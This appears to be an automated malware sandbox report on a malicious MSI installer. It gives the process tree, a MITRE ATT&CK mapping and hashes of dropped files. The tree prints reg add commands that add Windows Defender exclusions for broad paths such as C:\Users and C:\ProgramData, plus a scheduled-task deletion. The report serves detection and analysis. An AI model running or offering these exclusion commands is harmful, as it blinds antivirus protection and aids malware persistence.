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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3436
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\xU7s6o" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:464 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\xU7s6o" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4448
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4184
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2944 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2764
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2440
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4632
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4644 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4248
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e588bf0.rbs
- Size 7KB
- SHA256 050a3e497bc812564928a96faf564635031ebe2e43798c285f2c2ef428eadccc
- MD5 310f002c3bb45d252c18edb46421ae50
- SHA1 151943d3c0f16cf0b3e6b34bf49fea897935654e
- SHA512 f7424da8096e893dff9dc586a6c71318b44bbc2b99ac9e7ad7a8281d64e0c8fd41762c42ca645c2c529d4107f0a446d87c3707140e681919eae34edf56069915
- SSDEEP 192:OVLeTRlzLIIdLIW7d7u0aXWjPwE/OKpbNxiaTEbZ1:OIRRLpLL7dK/XWjPwE/xNxiaTEbZ1
- TLSH T1EBF11D45BF0596E2EF962B34C31737243BB2C79D9241634B0DCE80A06F0778B9ED528A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xU7s6o\FRubzR.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xU7s6o\UxEnhance64.dll
- Size 3.1MB
- SHA256 d8e72f7ed9b4030008a2766ef12265e7300c898273a5abb522c021f29da3326d
- MD5 1bf2a7f091cb5453b31fc3f7ca158945
- SHA1 1b87ea9a58283281d206c57bc2220a6f5a87b0dc
- SHA512 8b851067557fbe98ae245435e90fe7d3206f0fb9ace544b457896f564485810831f2d37cf9a0524e49956917111dc8f56e841b75626f28f3e426d14e3c26db98
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+u:P9m29xx3Tiqt06ox6+z2rNNrKou
- TLSH T1CFE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xU7s6o\adoresd.dat
- Size 4.7MB
- SHA256 c3349db6bc8de0d0b80699006bbd55cd242cc9c22457cd11768b86a3db2d7d69
- MD5 55c6fdeb8ef406c37589ac18353c6eba
- SHA1 70e3e5a36cc44fdbe7a30e084dc070d9709a388a
- SHA512 3aebe413d0d7e2021783e3c5414cbd895538645ca6599b86ba99205563ac6c146b21f3fd599ce172b7524042870d87117ab91b000be8ff2f9d91fa788a5e77c6
- SSDEEP 98304:Emu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:nu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1C53633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xU7s6o\msadox.tb
- Size 8KB
- SHA256 b133a2a0e6cccfa5d76c74c200ecf84d169e2dd483200b90ceb2057b5d2e2c5f
- MD5 8469b30b28300c497bbe548cfa59a2d3
- SHA1 17ed0de4a228b99d24cb112f60ab0dc9b0ccad81
- SHA512 e4091afad7620dedac43c6f2e495d88bdbf3593e7861cd168687a5046413dd1e50f50c2495a7f566b76618b32e56610c8c1af8dd0e8e897d5bdba4f95e0e7cd3
- SSDEEP 192:QqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:QsZqZOXQ3uqvR2Kfzp
- TLSH T1E5029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI8DA6.tmp
- Size 9.7MB
- SHA256 98f0553a18e9ee4fcb390dfbf84504ce7103ea81134baba64304b92eb383a7f8
- MD5 0c306166a3cf424f9ae209684d99f139
- SHA1 f3f19a922387183ac3f1929f2433207ea62295a2
- SHA512 74159cb8682655bc6415823c9d831cfbdd6a86eaa67a94d03f39c5979ab4e42cbe5d01659076f607d7c51d3c09eb771c5fdbded1920255b96fc6cd5da49a82f1
- SSDEEP 196608:XGQsDfgyXWpMBjrD3gm2VrS9Ax75hbkJBOfHoEiG:yDLwmyrS9Ax5aBGPP
- TLSH T183A63396E8D672B0D08FD7B36505223FB1083FD69B624EA97CE5160C9DB2B4534F234A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e588bef.msi
- Size 9.8MB
- SHA256 4302a9aa3bce51f552e580f24a2fa3d6cf9b05c28fd6229ac5bb03faf52a064c
- MD5 09db2295137289130b10fc1bc9a6315d
- SHA1 89c7a76702a83b16d01c7d135f33194ff17cda15
- SHA512 4133ae5861de67a109e1bfb1c6120a536e8ce706e02131b409e5aa6cf4a3f147508907172cbf16baaf12a71a79926364d2eb6848e6d1d5c7abc4dc00a0c3d7e6
- SSDEEP 196608:aGQsDfgyXWpMBjrDVgm2VrS9Ax75hbkJBOfWoEiU:xDLimyrS9Ax5aBGIB
- TLSH T1C1A63386F8D563B0D08FD7B32501223FB2187FD5AB624E5978EA360C9D72B5524F234A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 6a83eb967abf5480aa3acd8ffa5dac845b2639aa82bd233c27b4f55c5cd34786
- MD5 98500825c8aeaf927f9df6a7bdc8287e
- SHA1 debd7d08598460d1e8b8d2f0a7556f3df055ffb9
- SHA512 33231a16a9a9ee8e9c3d30598f79a447e5b52b6fc193db48b078f0c469ba78e2a155a6e283489f78dd2d672bf001839f9e8c9a4cd5a26ebb137ad6a74db24ccf
- SSDEEP 24576:Mu8m+1zedoO/vvTL7WBeU26FA4kDJFhitHmNjegl5Uqwe2YMYvlYpXqhU:5
- TLSH T1D047D22432F92510E7F39E3CA8F1AA2389397D579C199E8D05411F4E0961FB1E872F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{fef0c820-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{54308c05-e7f8-43d4-ad28-14c13036e597}_OnDiskSnapshotProp
- Size 6KB
- SHA256 5feaf7320661032216b1dae8bacb0cfc66106d14d9abf3aeca67a997ac8128db
- MD5 b1c58989a84edcb9eb3057bb2d432260
- SHA1 8880272f9b550a2a830eabf7b999d9dfe8f94f17
- SHA512 2ae21d02c9afce1027e243a7baf34ef15d6b774cd291950bb7bebf98094d6598e00fa352cff547cd2c4e6603faad2ef3e8b885456fd881ac4aafc6df8c04cae6
- SSDEEP 96:FnGPyOMSGlSvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:lqZb++ZVm
- TLSH T158D19A085AF54711E2B3AB7229F18557A877B911EF33CB8E0198238E6670910F876F5F
- MD5 SHA1 SHA512 SSDEEP TLSH